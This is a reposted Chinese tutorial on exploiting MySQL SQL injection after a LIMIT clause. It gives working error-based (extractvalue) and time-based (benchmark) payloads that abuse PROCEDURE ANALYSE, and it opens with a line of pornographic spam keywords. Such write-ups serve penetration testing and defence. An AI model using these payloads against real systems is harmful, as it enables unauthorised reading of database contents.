午夜国产狂喷潮在线观看|国产AⅤ精品一区二区久久|中文字幕AV中文字幕|国产看片高清在线

    mysql注入點在limit關(guān)鍵字后面利用方法
    來源:易賢網(wǎng) 閱讀:1316 次 日期:2015-08-24 14:06:28
    溫馨提示:易賢網(wǎng)小編為您整理了“mysql注入點在limit關(guān)鍵字后面利用方法”,方便廣大網(wǎng)友查閱!

    描寫sql注入利用方法的文章數(shù)不勝數(shù),本文將描述一種比較特殊的場景。

    mysql注入點在limit關(guān)鍵字后面的利用方法

    細節(jié)

    在一次測試中,我碰到了一個sql注入的問題,在網(wǎng)上沒有搜到解決辦法,當時的注入點是在limit關(guān)鍵字后面,數(shù)據(jù)庫是mysql5.x,sql語句類似下面這樣:

    select field from table where id > 0 order by id limit 【注入點】

    問題的關(guān)鍵在于,語句中有order by 關(guān)鍵字,我們知道,mysql 中在order by 前面可以使用union 關(guān)鍵字,所以如果注入點前面沒有order by 關(guān)鍵字,就可以順利的使用union 關(guān)鍵字,但是現(xiàn)在的情況是,注入點前面有order by 關(guān)鍵字,這個問題在stackoverflow 上和sla.ckers上都有討論,但是都沒有什么有效的解決辦法。

    我們先看看 mysql 5.x 的文檔中的 select 的語法:

    select

    [all | distinct | distinctrow ]

    [high_priority]

    [straight_join]

    [sql_small_result] [sql_big_result] [sql_buffer_result]

    [sql_cache | sql_no_cache] [sql_calc_found_rows]

    select_expr [, select_expr ...]

    [from table_references

    [where where_condition]

    [group by {col_name | expr | position}

    [asc | desc], ... [with rollup]]

    [having where_condition]

    [order by {col_name | expr | position}

    [asc | desc], ...]

    [limit {[offset,] row_count | row_count offset offset}]

    [procedure procedure_name(argument_list)]

    [into outfile 'file_name' export_options

    | into dumpfile 'file_name'

    | into var_name [, var_name]]

    [for update | lock in share mode]]

    limit 關(guān)鍵字后面還有 procedure 和 into 關(guān)鍵字,into 關(guān)鍵字可以用來寫文件,但這在本文中不重要,這里的重點是 procedure 關(guān)鍵字.mysql默認可用的存儲過程只有 analyse (doc)。

    嘗試用這個存儲過程:

    mysql> select field from table where id > 0 order by id limit 1,1 procedure analyse(1);

    error 1386 (hy000): can't use order clause with this procedure

    analyse支持兩個參數(shù),試試兩個參數(shù):

    mysql> select field from table where id > 0 order by id limit 1,1 procedure analyse(1,1);

    error 1386 (hy000): can't use order clause with this procedure

    依然無效,嘗試在 analyse 中插入 sql 語句:

    mysql> select field from table where id > 0 order by id limit 1,1 procedure analyse((select if(mid(version(),1,1) like 5, sleep(5),1)),1);

    響應(yīng)如下:

    error 1108 (hy000): incorrect parameters to procedure 'analyse’

    事實證明,sleep 沒有被執(zhí)行,最終,我嘗試了如下payload :

    mysql> select field from user where id >0 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

    error 1105 (hy000): xpath syntax error: ':5.5.41-0ubuntu0.14.04.1'

    啊哈,上面的方法就是常見的報錯注入,所以,如果注入點支持報錯,那所有問題都ok,但是如果注入點不是報錯的,還可以使用 time-based 的注入,payload 如下:

    select field from table where id > 0 order by id limit 1,1 procedure analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, benchmark(5000000,sha1(1)),1))))),1)

    有意思的是,這里不能用sleep而只能用 benchmark。

    另外,這里還有一種類似的方法 https://rdot.org/forum/showpost.php?p=36186&postcount=30

    更多信息請查看IT技術(shù)專欄

    更多信息請查看數(shù)據(jù)庫
    易賢網(wǎng)手機網(wǎng)站地址:mysql注入點在limit關(guān)鍵字后面利用方法
    由于各方面情況的不斷調(diào)整與變化,易賢網(wǎng)提供的所有考試信息和咨詢回復(fù)僅供參考,敬請考生以權(quán)威部門公布的正式信息和咨詢?yōu)闇剩?/div>

    2025國考·省考課程試聽報名

    • 報班類型
    • 姓名
    • 手機號
    • 驗證碼
    關(guān)于我們 | 聯(lián)系我們 | 人才招聘 | 網(wǎng)站聲明 | 網(wǎng)站幫助 | 非正式的簡要咨詢 | 簡要咨詢須知 | 新媒體/短視頻平臺 | 手機站點 | 投訴建議
    工業(yè)和信息化部備案號:滇ICP備2023014141號-1 云南省教育廳備案號:云教ICP備0901021 滇公網(wǎng)安備53010202001879號 人力資源服務(wù)許可證:(云)人服證字(2023)第0102001523號
    聯(lián)系電話:0871-65099533/13759567129 獲取招聘考試信息及咨詢關(guān)注公眾號:hfpxwx
    咨詢QQ:1093837350(9:00—18:00)版權(quán)所有:易賢網(wǎng)